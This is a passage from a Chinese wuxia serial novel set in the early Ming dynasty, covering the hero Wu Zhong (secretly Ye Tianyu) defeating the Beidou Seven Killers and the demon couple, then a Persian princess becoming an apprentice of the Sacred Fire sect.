忠啸声惊到,但是仗着自己七兄弟个个武艺高强,再加上七兄弟从小演练北斗七星阵,纵然遇到绝顶高手,也可战无不胜攻无不克,所以傅九霄自恃北斗七星阵威震天下克敌无数,对吴忠的良言相劝也是嗤之以鼻,傅九霄道:“姓吴的,不必吹什么牛皮,我们手底下见真章,若是你能破得了我们七兄弟的北斗七星阵,我们兄弟调头就走,若是你破不了,今天就让你陪着大明太子一起共赴黄泉。”没等吴忠答话,静心师太道:“傅九霄,你们神魔宫北斗七杀也是江湖中声名显赫的人物,以七敌一,也不怕天下人耻笑?”傅九霄冷冷一笑道:“师太也可以从你们人马中挑出几人,我们以七对七,如何?”静心师太知道,不管是手下的四名弟子,还是朱瞻基的亲兵卫士,上去应战都是送死,正在踌躇犹豫之际,吴忠道:“师太,我先上去迎敌,请您为我观敌瞭阵。”吴忠心中也明白,静心师太这边除了静心师太尚可一战,其他人上阵都是送死,吴忠道:“师太,请从你的随从中拿一把最重的兵器给我。”静心师太环目四顾,见朱瞻基身旁一名侍卫,手持两柄狼牙棒,一把足有三四十斤,于是一招手,让那侍卫将狼牙棒送给吴忠,那名卫士上前几步,恭恭敬敬将两柄狼牙棒送到吴忠手中,吴忠拿在手中,掂量两下,每根狼牙棒大约重四十斤,吴忠道:“轻了一点,凑合着用吧。”然后转脸对傅九霄道:“姓傅的小子,我知道你的父母是魔道双尊,雷公蛇母,我和你父母也曾经有过一面之缘,我看在他们的面子上,放你一条生路,我最后再劝你一次,速速离开,免得丢了性命,如果你还执迷不悟,偏要寻死,就怪不得我了。”傅九霄心中暗想:“父母曾经告诫我,普天之下,千万不要招惹一人,那就是当年灵隐四杰中的金翅大鹏叶天羽,叶天羽已经远遁南海炎黄岛,很少踏足中原武林,父母曾经交代,除了叶天羽,我兄弟七人的北斗七星阵,不惧怕天下任何绝顶高手,这吴忠在江湖上碌碌无名,看相貌也是貌不惊人平淡无奇,纵然他内力深厚,但十有八九也不是我七兄弟七星阵的对手,再说汉王朱高煦已经承诺我们,只要杀了大明太子朱瞻基,就封我们七兄弟为国公,以后封妻荫子,享尽荣华富贵,这千载难逢的大好机会,今日岂能轻言放弃?”想到这,傅九霄呵呵一阵冷笑,道:“姓吴的,少吹牛,我们手底下见真章,今日定要让你命丧当场。”吴忠叹口气,连连摇头道:“真是良言难劝要死的鬼,天作孽犹可恕,自作孽不可活,你们有什么本事,尽管施来。”傅九霄环顾身后,对六个师弟道:“兄弟们,小心谨慎,布阵。”把手一挥,率领六个师弟弟挥舞兵刃,疾步如飞奔向吴忠而去,七人攻到吴忠身旁时,脚踏七星方位,瞬间将吴忠围在中央,七兄弟按平常演练的北斗七星阵联手往复,流转不息,手中兵刃如狂浪拍石,秋风扫叶,天雷劈山闪电腾空,上下翻飞左右盘旋,直刺吴忠要害,只见吴忠不慌不忙,气运丹田双臂用力,手中的狼牙棒前挑后拨,左遮右挡,东西迂回南北盘旋,逐一化解北斗七杀如潮水一般的攻势,然后一招旱雷开天砸向北斗七杀,紧接着便是暴雨狂雷,排山倒海,然后又是怒海狂潮,落地霹雳,尽是一些威猛招式,傅九霄师兄弟七人,须三四人联手,才能抵挡的住,傅九霄心中暗暗吃惊,想不到武林中除了叶天羽,竟然还有吴忠这个绝顶高手,双方交战近百招,手中兵器金铁交鸣之声,震耳欲聋响彻天际,只打得山川垂首风云变色,双方斗了个旗鼓相当势均力敌,静心师太在一旁看得提心吊胆心惊肉跳,朱瞻基等人更是看得眼花缭乱目不暇接,瞠目结舌目瞪口呆,静心师太心中暗想:“傅九霄的功夫应该在自己之上,他手下六个师弟,和自己也是伯仲之间,难怪傅九霄如此狂妄,难怪北斗七杀可以闻名天下威震九州。”静心师太眼见吴忠和北斗七杀鏖战多时不分上下,再也按捺不住关切之情,拔出手中长剑,大声道:“恩公,贫尼来助你一臂之力。”说罢,纵身加入战团,傅九霄七人拼尽全力,才和吴忠打得势均力敌,眼见静心师太加入厮杀,傅九霄心中暗道不好,大声喝道:“诸位师弟,稳住阵脚,先杀了吴忠再说。”以北斗七杀的联手之力,已经可以纵横天下所向披靡,但是可惜,他们今日遇到的是一位前无古人后无来者,内力武功天下无双的盖世英雄,只见吴忠哈哈大笑,手中狼牙棒一招昆仑断岳,再来一招天雷破山,紧接着又是一招雷霆万钧,然后又是一招开天辟地,力道之猛天下罕见,将傅九霄七兄弟手中兵器震得是东倒西歪狼狈不堪,傅九霄七兄弟被打得只有招架之功,没有还手之力,静心师太见此情形,手中长剑猿公九刺,内力到处剑气纵横,傅九霄小师弟摇光星周伐右武功最弱,和师兄们联手连接吴忠数招后,脚下踉踉跄跄立足不稳,感觉气血翻涌,已经显露败相,静心师太眼看机不可失时不再来,刹那间手上长剑突施剑气,只见剑芒闪动气如匹练,瞬间将摇光星周伐右身体刺穿,摇光星周伐右惨叫一声,命丧当场,周伐右一死,北斗七星阵已经缺少一人,无法流转往复运行变化,傅九霄等人师兄弟情深,眼见周伐右惨死,一个个眼都红了,奋不顾身舍生忘死,全力出招以死相搏,但七星阵一破,他们再也经不住吴忠的雷霆打击,吴忠的内力已经超凡入圣冠绝天下,只见两根狼牙棒挥舞如飞,一招石破天惊,傅九霄等人拼尽全力联手抵挡,吴忠又使了一招雷动九天,傅九霄等人举起兵器招架,只觉得气血翻涌,没想到吴忠又是一招怒涌狂潮,手中两根狼牙棒带着锐风惊雷之声,攻向傅九霄等人,傅九霄等人再也抵挡不住,六师弟开阳星马击左,五师弟玉衡星万扫北武功稍弱,被吴忠狼牙棒蕴含内力震伤,顿时二人口中鲜血吐出,静心师太在一旁看得真切,手中长剑又是一招猿公九刺,剑尖寒光闪闪剑气纵横,瞬间已经将开阳星马击左,玉衡星万扫北身体刺穿,二人发出两声痛苦哀嚎,命赴黄泉,傅九霄眼中含泪,强忍心中悲痛,大声喊道:“诸位师弟,点子太硬,我们走。”说罢,带着二师弟天璇星费震东,三师弟天玑星崔平南,四师弟天权星丁震西,转身想跑,吴忠大笑道:“现在想跑,来不及了!”两根狼牙棒挥出,一招指南打北,将天玑星崔平南,天权星丁震西棒毙当场,傅九霄和二师弟天璇星费震东吓得魂飞魄散,急忙施展疾风似箭轻功拼命逃窜,吴忠喝道:“天堂有路你不走,地狱无门偏自投!”说罢手中两根狼牙棒用力甩出,如箭矢一般正中傅九霄和天璇星费震东的后背,两人惨叫一声,摔倒在地,待到众人上前查看时,两人后背都被狼牙棒打穿,已经气绝身亡,静心师太朱瞻基和一众随从,心中暗道侥幸,齐齐躬身向吴忠施礼,齐声道:“多谢恩公救命之恩。”吴忠一抬手道:“大家不必客气。”朱瞻基见吴忠武艺出神入化登峰造极,情不自禁起了招揽之心,于是开口道:“恩公,我乃大明太子,回京要承袭大统,做大明的皇帝,恩公若是随我回京,我一定封你为护国公,让你享尽荣华富贵。”吴忠用眼睛斜了一下朱瞻基,冷声道:“在我眼里,什么护国公,什么明朝太子,什么明朝皇帝,狗屁不如,若不是看在静心师太的面子上,你的生死和我没有一文钱关系。”朱瞻基碰了一鼻子灰,只好尴尬一笑,退到一旁,静心师太恭恭敬敬道:“恩公,您多次救我,我实在无以为报,恩公请随我到京城,让我款待您几日,也好略表我感恩之情。”吴忠对着朱瞻基等人都是一脸不屑一顾神情,但是听道静心师太之言,立马神情一变,恭恭敬敬道:“师太,比起当年南宫家对我的大恩大德,这些小事,无足挂齿,师太回京后,需小心戒备,神魔宫宫主魔道双尊雷公蛇母,若是知道儿子和几个徒弟都已经被杀,定然会来找师太报仇,请师太早做防范,在下告辞。”说罢,深施一礼,也不等静心师太答话,一展身形,已经在数丈之外,静心师太心中暗想:“不知当年我南宫世家先祖是如何帮助这位吴忠恩公的,他竟然三番两次不远千里来救我性命,此等大恩大德,今生恐怕难以报答。”一行人又骑上马,驱马前行,两日后,朱瞻基回到京城,按仁宗遗诏,登基成为大明皇帝,史称宣德皇帝,宣德皇帝发布诏书,尊母亲张氏为皇太后,并大赦天下,封静心师太为护国师太,对护送他回京城的将士,升官加爵,死伤的将士,重金抚恤,静心师太本想辞去,但却被张太后劝说,勉为其难接受了封号,静心师太等朱瞻基登基仪式结束后,到后宫找到了张太后和朱瞻基,对二人道:“表妹,瞻基,我想到城外五里庵居住。”张太后和朱瞻基连忙道:“表姐,姨母,你为何要去城外五里庵?”静心师太道:“我们在回来路上得了吴恩公相助,杀了北斗七杀,北斗七杀的父母,师傅是西域神魔宫宫主,魔道双尊雷公蛇母,他们得到消息后,定然会来找我寻仇。”朱瞻基道:“姨母,你大可放心,我多派大内高手日夜保护你。”静心师太苦笑道:“雷公蛇母二十年前就称霸魔道,夫妻二人武功炉火纯青出神入化,普天之下,没有几个人是他们的对手,你派大内高手保护我,这些大内高手根本不是魔道双尊的对手,只会连累他们丢了性命。”张太后和朱瞻基闻言,也是大惊失色,心想天下竟有如此武功高强之人,张太后道:“表姐,你和我住在后宫,我们多多调集一些大内高手,并下令禁卫军严密防护,魔道双尊虽然厉害,但皇宫内戒备森严,应该可以抵挡他们。”静心师太脸色沉重,摇摇头道:“表妹,我不能住在皇宫,那样对你和瞻基恐怕有害无利,魔道双尊若是找不到我,我担心他会对瞻基下手,可能会绑架瞻基,然后逼我出面,现在瞻基身为大明天子,日理万机,总不能天天提心吊胆,防范魔道双尊,瞻基肩负江山社稷安危,百姓能否安居乐业,全在瞻基一身,纵然我身死,也不能让瞻基有任何闪失,我一人独自去五里庵,你们不必阻拦。”张太后和朱瞻基闻言,不由色变,张太后考虑片刻道:“表姐,你身边的四个徒儿,武功也是不弱,我再让瞻基派三百名禁军高手,你带着四名徒儿和三百禁军高手,一同前往,你意下如何?”静心师太沉默不语,思索良久后,道:“既然如此,就依表妹安排。”于是,张太后发布懿旨,从禁军中挑选了三百武艺高强将校,随同静心师太和四个女徒一同前往城外五里庵,到了五里庵后,静心师太将众人安排妥当,然后静候魔道双尊的到来,转眼之间,已经过了一个多月时间,这天下午,静心师太正带着自己的女徒在朗诵经文,忽听庵门外传来一个苍老男子声音,低沉有力,道:“静心,带着你的手下,给我滚出来。”静心师太闻言,知道有敌来犯,当下取出长剑,命令四个女徒和三百禁卫军高手也拿出兵刃,打开庵门,走出去一看,只见庵门外站着一对老年男女,男的大约六十岁左右,高大威猛,虎背熊腰,魁梧奇伟,气势非凡,女的大约五十多岁,身材苗条高挑,看相貌,年轻时也是一位美貌女子,眉目之间,带着一丝冷峻杀气,静心师太道:“请问来者何人?两位来我这五里庵有何赐教?”那男子道:“我们夫妻二人一个叫傅天雷,一个叫杜云英,江湖人称魔道双尊,乃西域神魔宫宫主,今日前来,只因江湖传闻我儿子傅九霄和我那六个不成才的徒弟,都被你静心所杀,所以今天特意来问个明白。”静心师太道:“你儿子傅九霄带着几个师弟,拦路刺杀大明太子,的确被我所杀。”傅天雷杜云英刚听到江湖传闻时,原本认为自己儿子和几个徒弟武艺高强,自己儿子的武功应该还在静心之上,加上六个徒弟也都本领非凡,七个师兄弟联手,北斗七星阵,普天之下,除了当年灵隐四杰的老四,天下第一高手金翅大鹏叶天羽,无人能敌,所以对江湖传闻,嗤之以鼻,没想到等了半个月左右,竟然没有儿子和几个徒弟的一点消息,不禁心中发慌,于是夫妻二人一商量,赶忙动身到中原,寻找儿子和徒弟,没想到竟然没有一点踪迹,心中情不自禁心神不宁惴惴不安,后来打听到静心师太住在京城外五里庵,于是就匆忙赶了过来,现在亲耳听到儿子和徒弟已死,心中顿时悲愤交加 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,傅天雷怒道:“静心,以你的武功恐怕还不是我儿子的对手,何况我儿子徒弟七人联手,天下难寻敌手,你到底请了什么帮手?才将我儿子和徒弟杀害。”静心师太心中暗想:“这雷公蛇母武艺出神入化炉火纯青,极难对付,吴恩公对我恩重如山,我岂能将他说出,所有事情由我一人承担便是。”于是静心师太昂然朗声道:“我并没有请什么帮手,只是你儿子和徒弟,逆天行事,才遭了天谴。”杜云英怒吼道:“好一个牙尖嘴利的尼姑,什么逆天行事,什么天谴?你分明是请了高手相助,还敢隐瞒抵赖?”静心师太神情冷峻道:“不必多说,你我手底下见真章。”傅天雷杜云英夫妻二人怒吼道:“就凭你和这些虾兵蟹将,也配和我们过招?今天你若不交代凶手是谁,我夫妻二人不但要将你的虾兵蟹将全部杀死,还要把你生擒活捉,让你生不如死。”静心师太话不多说,手中长剑一挥,三百禁卫军高手中,有一半是禁军神机营,带了突火枪,见静心师太一挥剑,立刻冲上前,第一队五十人持突火枪开火,然后退后,第二队五十人又上前开火,第二队开火后,立刻退后,第三队上前开火,第三队开火后,第一队已经重新填充好弹药,又上前开火。”往返几次开火后,却听傅天雷杜云英夫妻二人哈哈大笑道:“米粒之光,也敢放光华,众人定睛一看,只见那些弹药射到两夫妻面前,如同撞到石墙,纷纷掉落,静心师太心中大惊,想不到魔道双尊的护身真气竟然如此出神入化登峰造极,只见傅天雷大声喝道:“来而不往非礼也。”伸手入袋,从腰间皮带中抓出一把铁豆,气运丹田,用力掷出,那些铁豆携带风声,竟如强弓发出箭矢一般,前排的禁卫军高手来不及躲避,身体已被铁豆击穿,纷纷惨叫倒地,傅天雷既然敢来,自然是胸有成竹早有准备,当下毫不留情,双手连挥,静心师太和几个女徒以及后排的禁卫军纷纷挥动兵刃,抵挡疾风暴雨般的铁豆,但铁豆凶猛迅疾,不断有人被铁豆击中,惨叫倒地,静心师太见势不妙,连忙大喊:“大家不要慌乱,先退到庵里。”众人一边挥舞手中兵器抵挡铁豆,一边疾步向庵中退去,正在此时,忽听庵外大树上,有人大声喝道:“雷公蛇母,休要猖狂,我来也。”众人不由得循声看去,只见那棵大树高大粗壮,郁郁葱葱,枝繁叶茂,从树上跳下一人,一身灰袍,高高瘦瘦,一副圆脸,静心师太定睛一看,正是贡嘎雪山人氏吴忠,静心师太大喜过望,连忙上前拱手施礼道:“贫尼拜见恩公。”吴忠恭恭敬敬还了一礼,道:“师太,你率领众人退到庵里去,你们全部用布条塞住耳朵,防止傅天雷用雷公吼伤人。”静心师太道:“恩公,让我留下来助您一臂之力,和您并肩作战。”吴忠摇摇头道:“雷公蛇母,一身武功出神入化,护身真气更是炉火纯青,在武林江湖中,已经登峰造极,飞花摘叶皆可伤人,你留在此处,我反而要分心照顾你,你速速和众人退到庵里去,将庵门关闭。”静心师太眼见魔道双尊不但用护身真气挡住神机营的突火枪,而且举手投足之间,就用铁豆击杀了几十名禁卫军高手,也知道吴忠所言非虚,于是深施一礼道:“恩公,请小心。”说罢,带着四个徒儿和剩下的禁卫军退到了庵中,庵门关闭后,自己又和众人用布条堵住了耳朵,躲在庵门后,傅天雷和杜云英眼神怨毒盯着吴忠道:“你是何人?竟敢阻拦我夫妻行事。”吴忠道:“雷公蛇母,你儿子和徒弟都是我杀的,我一人做事一人当,你们不要牵涉他人,今日我和你夫妻俩再决生死。”傅天雷杜云英用仇恨的眼光盯着吴忠道:“我儿子和六个徒弟,北斗七星阵天下难寻对手,你竟然可以破了北斗七星阵,还将他们七人杀死,你到底是何人?”吴忠冷冷一笑,也不答话,使了一招一鹤冲天,又回到大树上,从大树枝丫上取了一根月牙伏魔杖,然后又纵身跃到傅天雷夫妻面前,傅天雷杜云英看到月牙伏魔杖后,先是诧异,然后又盯着吴忠的眼睛,身材一看,夫妻俩恍然大悟,齐声怒吼道:“原来是你!原来是你!”这夫妻俩自知儿子徒弟的北斗七星阵,普天之下只有灵隐四杰中的金翅大鹏叶天羽才能破解,虽然一开始,因为吴忠易容之术太过高明,没认出来,但是看到月牙伏魔杖,又认出了吴忠的眼睛和身材,正是二十年前逼迫夫妻二人解散魔道,远遁西域的金翅大鹏叶天羽,叶天羽心里清楚,这雷公蛇母是自己一生劲敌,所以不敢大意,也不敢随便取个兵器来用,所以乘巨鹰回到炎黄岛,取了自己最擅长的月牙伏魔杖,又打听到静心师太到了五里庵,所以携带伏魔杖,早早便埋伏在大树上,等候雷公蛇母前来,叶天羽见雷公蛇母看到自己的兵刃,已经怀疑自己的真实身份,雷公蛇母眼神何等锐利,自己的易容之术虽然精妙,但已经被雷公蛇母识破,于是也就不再隐瞒,昂然道:“雷公蛇母,二十年前,我和你们夫妻一场决斗后,你们夫妻远遁西域,虽然这些年,我知道你们在西域干的也是绑票勒索,刺杀权贵的龌龊勾当,但我也懒得去管,这次你儿子徒弟刺杀明朝太子,被我撞见,我看在和你们夫妻也算相识一场,良言相劝,让你儿子和几个徒弟打道回府,可惜你儿子和徒弟冥顽不灵,非要和我以死相拼,我只能替天行道,铲奸除恶。”傅天雷目眦欲裂怒发冲冠道:“姓叶的,本来你我素不相识毫无恩怨,一向井水不犯河水,但是二十年前,你自恃武功天下第一,找到我们夫妻,以武功逼迫我夫妻二人解散魔道,远遁西域,如今你又杀了我的儿子和徒儿,新仇旧恨今日我夫妻二人和你做个了断。”说罢,举起手中的雷公斧,斩向叶天羽,杜云英也解下腰间的毒龙鞭,挥鞭攻向叶天羽,叶天羽不敢大意,挥舞手中的伏魔杖,沉着应对,傅天雷夫妻二人,结婚将近四十年,夫妻俩心意相通,傅天雷雷公斧威猛雷厉,风行电照大力主攻,杜云英毒龙鞭阴柔毒辣,神出鬼没暗中偷袭,只见傅天雷手中雷公斧,带着风雷之声,一招响雷劈山,砍向叶天羽,叶天羽挥舞禅杖抵挡,杜云英在一旁使了一招毒蛇吐信,手中毒龙鞭如灵蛇一般袭击叶天羽,叶天羽挡住傅天雷后,手中伏魔杖一转,将毒龙鞭挡住,傅天雷又使了一招惊雷横空,直取叶天羽要害,叶天羽沉着冷静,侧身闪过,一招金刚伏魔,手中伏魔杖砸向傅天雷,傅天雷一个举火燎天架住伏魔杖,杜云英在一旁连忙使了招金蛇甩尾,手中毒龙鞭卷向叶天羽双腿,叶天羽撤回降魔杖,一招立地金刚挡住毒龙鞭,傅天雷的雷公斧,是北宋年间,名震天下的杨家将的杨延德所创,杨延德又称杨五郎,是杨家兄弟中除杨七郎之外力气最大的一个,他使长枪,也爱使斧子,人称枪斧双绝,曾在血战金沙滩时斧劈铜锁闯城门,单斧突围,后来,杨五郎上五台山后,就专注于斧子功法,将名扬四海的杨家枪招化于斧子之中,杨五郎斧法禅武合一,破甲克敌无敌手 降龙木宣花斧一斧劈杀萧天佐(破妖邪之躯);曾在破天门时劈杀韩冷,破掉六合阵。杨五郎是中国历史上记载的用斧第一人,是用斧的一代宗师。傅天雷无意中得到杨五郎的禅武斧法,持之以恒勤学苦练,终于大成,只见傅天雷手中大斧挥舞如风,劈、砍、剁、抹、砸、搂、截,斩,使出云顶观星、二郎担山、横扫千军、斧定乾坤、、金刚捣斗、天佛降世,翻江搅海、天罡霹雳、罗汉推山,威猛招式源源不断,自有一种纵横天下舍我其谁的无双霸气,杜云英的毒龙鞭分为十三节,是当年魔道至尊姬无涯的独家奇门兵器,攻守兼备刚柔并济,只见杜云英手中毒龙鞭缠、抛、挂、舞,扫,撩,钩,使出灵蛇吐信,回风拂柳,蛇行蟒伏,灵蛇狂舞,金蛇甩尾,风吹荷叶,水漫金山,双蛇出水,阴柔辣招层出不穷,漫天飞舞的毒龙鞭宛若狂风暴雨,疾云闪电,叶天羽不敢大意,全神贯注,手中伏魔杖扫,点,挑,戳,劈、撩、拨、架、缠,如神龙出水,怪蟒翻身,虎跳豹扑,鹰击长空,进如猿猴窜枝,退若龙蛇疾走,起如鹰隼飞天,落若猛虎扑食,盘旋之处如雨燕穿云,游弋之地如灵猫戏鼠,手中伏魔杖上下翻飞,左右盘旋,前挡后截,指东打西,横南竖北,倾尽全力才挡住了傅天雷夫妻二人的联手合击,双方你来我往战了三百多招,只打得山川移位风云变色,五岳垂首江海倒流,兵器撞击之声,震耳欲聋响彻天际,叶天羽心中暗暗吃惊,心中暗想:“二十年前,和这夫妻俩一战,三百招左右,这夫妻俩已经抵挡不住,想不到二十年没见,这夫妻俩年龄见老,但内力却更加深厚,招式也更加精湛。”傅天雷和杜云英夫妻,心中更是诧异,心中暗想:“我夫妻二人远遁西域,二十年来,连买带抢,得了一些天山雪莲,昆仑灵芝,服用后内力大增,又苦练联手合击,自认为已经天下无敌,想不到这次碰到叶天羽,竟然战了个旗鼓相当势均力敌。”双方虽然心中诧异,但手上却是快如闪电攻守俱备,转眼之间,又斗了两百多回合,叶天羽和傅天雷使得都是刚猛招式,渐渐都有些体力不支,手中兵刃挥舞也渐渐慢了下来,而杜云英用的是阴柔偷袭招式,所以体力消耗非常小,只见杜云英面目狰狞目露凶光,手中毒龙鞭如灵蛇戏水,鞭影重重,如千百条毒蛇一般,上下翻飞左右盘旋攻向叶天羽,傅天雷见妻子如鱼得水攻势如潮,也竭尽全力奋力拼杀,叶天羽心中暗道不好:“自己和傅天雷都是大力刚猛招式,若是再交手个两三百回合,自己和傅天雷的内力都会慢慢衰竭,而杜云英用阴柔偷袭招数,基本上不耗什么内力,再斗下去,只怕凶多吉少。”叶天羽心中暗暗思索对策后,把牙一咬心一横,一招翻江倒海,将伏魔杖对着傅天雷腰腹之间扫去,傅天雷连忙举斧挡住,兵刃相接如同惊雷响起,叶天羽收回伏魔杖,又是一招石破天惊砸向傅天雷,傅天雷见伏魔杖带着风雷之声凶猛来袭,连忙使出全身内力,举斧招架,一旁的杜云英见叶天羽招式凶猛,异常凌厉的攻向丈夫,连忙疾步如飞上前几步,使了个灵蛇绕柱,手中毒龙鞭风驰电掣如灵蛇一般卷向叶天羽,叶天羽见诱敌之计成功,杜云英已经上前几步,于是不等招式用老,倏地抽回伏魔杖,一招流星赶月,伏魔杖倏忽暴起,带着毁天灭地的万钧之力,砸向杜云英,杜云英见势不好,连忙后退躲避,叶天羽哪肯放过,脚下施展鹰翼追影轻功,如鬼似魅追击杜云英,傅天雷见叶天羽追击妻子,来不及过多考虑,手中雷公斧一挥使了招吴刚伐树,向着叶天羽手臂砍去。傅天雷这是攻其必救,逼叶天羽撤招,不料叶天羽竟不躲不闪,手中伏魔杖依然以排山倒海之势砸向杜云英,杜云英躲闪不及,被这杀仙灭神,惊天地泣鬼神的雷霆一杖打中,瞬间惨叫一声命丧当场,叶天羽一招得手打死杜云英后,只见傅天雷的雷公斧带着锐风破空之声砍向自己手臂,再想躲闪已经来不及了,纵然叶天羽浑身铜筋铁骨刀枪不入,内力雄厚天下第一,武功也已经登峰造极超凡入圣,但是也挡不住傅天雷这斩神杀佛的惊天一击,只见斧光闪过,叶天羽左手手掌已被砍断,叶天羽咬牙强忍疼痛,用右手单手挥舞伏魔杖,一招金刚伏魔,带着翻天覆地盖世无双的无俦内力,快如闪电直奔傅天雷面门而去,傅天雷听到妻子惨叫,不禁心神大乱,在电光火石间,只见叶天羽的伏魔杖带着破风惊雷之声来袭,傅天雷再想躲避,已经来不及了,发出一声响彻天地的怒吼声,被叶天羽一杖打中面门,当即身死,静心师太在庵中,虽然耳朵堵上了布条,但也隐约听到了杜云英的惨叫,心中正在忧惧,忽听庵外又传来一声男子的惨叫,心中大惊,再也按捺不住,提着长剑打开庵门,冲了出去,身后的四名女徒和幸存的禁卫军将校,也跟随身后,纷纷冲出庵门,叶天羽强忍疼痛,正想寻找自己的断手,忽然看见庵门大开,静心师太领着众人已经冲了出来,叶天羽叹息一声,顾不上去寻找自己的断掌,将伏魔杖收在自己身边,一招飞鸟投林,转瞬不见。静心师太眼见吴忠突然离去,心中有些诧异,又非常担心,不知吴忠是否受伤,环顾四周,只见魔道双尊身上血迹斑斑,倒在地上,已然身死,在夫妻二人的尸首旁,有一只断掌掉落在血泊之中,静心师太强忍心中忐忑上前查看,只见魔道双尊夫妻俩虽然身死,但是四只手掌却是完好,静心师太强忍心中悲痛,小心翼翼的将断掌拾起,只见断掌手指粗大,显然是一名成年男子的手掌,静心师太心中已然明白,这手掌定是吴忠和魔道双尊夫妻二人厮杀时受伤被砍下的,静心师太对着吴忠消失的方向,噗通跪倒,放声痛哭。随后几年,静心师太三番两次去贡嘎雪山寻找吴忠,可惜寻遍贡嘎雪山南北西东,都找不到吴忠踪迹,只能无功而返,只好将吴忠断手放在长生龛中,每日早晚敬香跪拜。 20. 第 20 章 第二十章:露珠学艺 再说唐赛儿的小姑子林萱,被圣火教长老翼王燕王夫妻带到了圣火崖,已有四五年时间,武艺已经小成。这日,唐梦泽正在教授唐旭儿,沈云,唐兰儿武艺,有教众来报:“启禀教主,寨外来了一行人,自称是波斯国王王弟沙普尔,王子塔西蒙,公主露珠儿,手持波斯拜火教教主书信,前来拜见。”唐梦泽心想,中原的圣火教虽然源自波斯,几百年前,已经另立门庭,独立成派,相互并不统属,数百年来,很少有什么交往,今日突然造访,不知所为何事?”于是吩咐教众道:“请他们去大厅落座,我随后便来。”教众领命前去,唐梦泽带着唐旭儿,沈云,唐兰儿和几个手下,来到前面大厅,进门一看,只见大厅的座椅上坐着三个人,最上首一个人,是一名四十多岁男子,体态雄伟,第二个是一名二十出头的年轻男子,身材魁梧,器宇轩昂,第三个满身白衣,面罩白纱,身材曼妙多姿,翩若惊鸿婉若游龙,是一名大约十六七岁的少女,三人见唐梦泽进厅,连忙起身,向唐梦泽等人施礼,唐梦泽请众人落座后,命人送上茶水,唐梦泽对着那名中年男子道:“不知贵客来此,有何贵干?”那名男子答道:“唐教主,我等奉我波斯国王塔巴斯之命前来,我乃波斯国王弟沙普尔,我身边的是我波斯国王子塔西蒙,和波斯国公主露珠儿,我三人请了我波斯国拜火教教主扎莉玛的书信,想让我国公主露珠儿拜您为师,学习中原的武术。”唐梦泽一听,心中感觉踌躇,心想中原圣火教与拜火教虽然同源,但毕竟民族不同,我中原武术怎么能传给异邦女子?波斯教教主和波斯国王室,做事怎么如此冒昧?”沙普尔见唐梦泽神情,似是不愿,这也在沙普尔意料之中,沙普尔接着道:“我等自知此事冒昧,但是实因我国中有苦衷,所以国王才请国中的拜火教教主给您写信,盼您看在同源的情分上,教我国公主习武,我国国王塔巴斯为表诚意,特将数百年前,流落到波斯的贵教圣物,十二天尊令,也一同带来,作为我国公主师资。”此言一出,唐梦泽大吃一惊,圣火教数百年前,在南宋建炎年间,由教主王宗石在信州起兵对抗官府,为了号令统属教众,铸造了十二天尊令,第一令为光明天尊令,由教主持有,第二令,为御风令,第三令为行云令,第四令为追月令,第五令为星斗令,第六令为赤金令,第七令为紫木令,第八令为碧水令,第九令为烈火令,第十令为运土令,第十一令为红花令,第十二令为绿叶令,并将圣火教镇教之宝,光明神功藏在十二天尊令牌中,后王宗石义军为官府所灭,王宗石死后,十二天尊令不知所踪,想不到竟落入波斯国,被波斯国王得到,唐梦泽心想:“这十二天尊令,不但可以号令我圣火教教众,而且还藏着本教镇教之宝光明神功,如今机缘巧合,有机会让天尊令重回本教,这个机缘是万万不能错过。”唐梦泽考虑成熟后,对沙普尔道:“既然贵国国王说带来了我圣火教十二天尊令,作为师资,唐某冒昧,可否将天尊令容我一看?”沙普尔吩咐随从,从行囊中取出一个古色古香,约有三尺长,几寸高的木盒,将木盒小心翼翼,恭恭敬敬的送到唐梦泽面前,唐梦泽伸手接过,放在桌子上,小心翼翼打开一看,只见木盒中,有两排似玉非玉,似金非金,古色古香的令牌,每排六个,共有十二块,第一块令牌比较大,比其他令牌的大了一半,正是由教主持有的光明天尊令,其余十一块则是同样大小,唐梦泽伸手拿出第一块令牌,只见上面刻着一个光明火把图案,上面写着几个古文:“圣火至宝,光明天尊。唐梦泽小心翼翼的又看了一遍,除了这个火把图案和几个字外,却也没有其他文字图案,唐梦泽又伸手将其余十一块令牌,拿出来细细端详,果然第二块令牌上,只有一个风型图案,后面几块分别是云,月,星斗,黄金,木头,流水,火焰,泥土,红花,绿叶图案,果然是传说中的圣火教十二天尊令,唐梦泽小心的将几块令牌放回原位,又将木盒合上,转头对沙普尔道:“既然贵国国王归还我圣火教十二天尊令,我圣火教感激万分,既然贵国公主不嫌唐某武艺低劣,我自当用心传授。”沙普尔和王子塔西蒙和公主露珠儿闻言,都面露欣喜之色,唐梦泽接着道:“我大明朝对异域人士管控较严,若公主留在我圣火教学艺,必须按我汉族风俗穿衣行事,不知你们可有异议?”王弟沙普尔三人小声商量了一下,沙普尔道:“既然来到中土学艺,自当入乡随俗,尊重贵地的风俗。”唐梦泽点点头道:“好,我汉族女子向来不戴面纱,请公主以后按我汉人风俗,不要再戴面纱。”公主露珠儿闻言,点头答应,上前几步跪倒在唐梦泽面前,口称师父,三拜九叩行了拜师之礼,然后将面纱取下,唐梦泽唐旭儿沈云唐兰儿众人定睛望去,只见露珠儿公主长着一副鹅蛋脸,面如白玉,肤白如雪,高鼻深目,一双眼睛竟如海水般湛蓝,一对柳叶眉,如同名师画出来的一般,不似中原女子的柳叶弯眉,有一种剑眉柳叶的感觉,明眸皓齿,两片薄薄珠唇,尽显异域美女风采,谈吐之间,两排牙齿,如同碎玉一般排列整齐,真是天生丽质,仙姿玉貌,国色天香,风华绝代。众人看了,不由得目瞪口呆,心中暗想:“此女只应天上有,人间难得几回见,天使折翼落凡尘,瑶池仙女降人间。”唐梦泽毕竟已经四十多岁,过了不惑之年,虽然也看得目瞪口呆,被露珠儿公主容貌惊艳,但很快就镇定心神,心中暗想:“此女相貌如此美艳动人,倾国倾城,只怕日后会给我圣火教带来祸患。”但自己话已经说出口,露珠儿公主也已经行了拜师之礼,自己作为圣火教教主,自然不能出言反悔,只好吩咐道:“旭儿,你和师弟,兰儿妹妹带露珠儿公主去后院安顿,这位王弟和王子我带他们到客房休息,我命人备下酒席,等会儿大家共进晚宴。”唐旭儿带着师弟沈云,妹妹唐兰儿和露珠儿公主一起,将露珠儿公主的的行囊搬到后院安置,王弟和王子也随着唐梦泽安排的教众去客房休息。两日后,王弟沙普尔和王子塔西蒙向唐梦泽辞行,唐梦泽安排唐旭儿几人送行,送到寨外十里坡时,王弟和王子请唐旭儿一行人留步,又对着露珠儿公主千叮咛万嘱咐,关爱之心溢于言表,露珠儿公主虽然心中不舍,但也无可奈何,只能目送叔叔和哥